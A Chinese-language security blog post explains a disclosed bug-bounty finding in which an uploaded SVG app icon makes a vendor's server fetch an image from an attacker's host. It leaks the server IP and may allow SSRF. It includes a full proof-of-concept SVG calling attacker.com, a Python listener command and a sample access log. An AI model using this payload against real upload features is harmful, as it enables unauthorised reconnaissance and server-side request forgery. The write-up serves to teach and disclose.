通过svg图片所引发的漏洞
通过svg图片所引发的漏洞
richardo1o1 迪哥讲事 2025-04-26 12:30
通过svg图片所引发的漏洞
正文
漏洞核心:
SVG 是一种 XML 格式的矢量图文件,它支持嵌入其他资源(如图片),比如这样一行代码:
<image xlink:href="http://attacker.com/logo.gif" />
~当 厂商 的服务器/浏览器 渲染这个 SVG 文件时,它会尝试访问这个远程资源
这会造成:
厂商服务器端或浏览器端向攻击者服务器发起请求
攻击者可以看到访问记录,从而 泄露服务器 IP、User-Agent 等信息
在某些特殊场景下,还可能触发 SSRF(Server Side Request Forgery)或用户 CSRF
攻击流程:
攻击者使用 Python在攻击者服务器 启动一个监听 HTTP 请求的服务器:
python3 -m http.server 8000
制作恶意 SVG 文件:poc.svg
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="300" height="200">
<image xlink:href="http://attacker.com:8000/intl/es_ALL/images/logos/images_logo_lg.gif"
x="10" y="10" width="276" height="110" />
</svg>
在 厂商的 App 设置页面上传这个 SVG 文件作为 App 图标。
只要 目标系统访问并渲染这个 SVG,就会发起一个 HTTP 请求到攻击者的服务器。
攻击者可以在控制台看到访问记录:
23.227.37.108 - - [02/Jun/2016:17:10:12] "GET /intl/es_ALL/images/logos/images_logo_lg.gif HTTP/1.0" 404 -
从中获取:
厂商的服务器 IP(可用于进一步侦查)
请求时间、路径、User-Agent(识别服务)
判断服务器是否使用代理、防火墙等
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
往期回顾
如何绕过签名校验
参考
https://hackerone.com/reports/142709